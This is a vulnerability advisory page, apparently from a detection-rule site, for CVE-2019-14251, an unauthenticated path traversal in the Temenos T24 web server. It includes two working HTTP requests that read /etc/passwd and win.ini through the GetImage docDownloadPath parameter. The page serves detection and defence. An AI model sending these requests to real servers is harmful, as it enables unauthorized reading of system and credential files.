🔙 목록으로 돌아가기

CVE-2019-14251: T24 Web Server - Local File Inclusion

TitleT24 Web Server - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the T24 Web Server.
CVSS Score7.5
EPSS Score0.64701
CVE IDCVE-2019-14251
CWE IDCWE-22
Tags cve cve2019 temenos lfi unauth vkev vuln

🔍 Vulnerability Description

T24 web server is vulnerable to unauthenticated local file inclusion that permits an attacker to exfiltrate data directly from server.

🌐 HTTP Request

GET /WealthT24/GetImage?docDownloadPath=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /WealthT24/GetImage?docDownloadPath=c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14251.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-14251.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A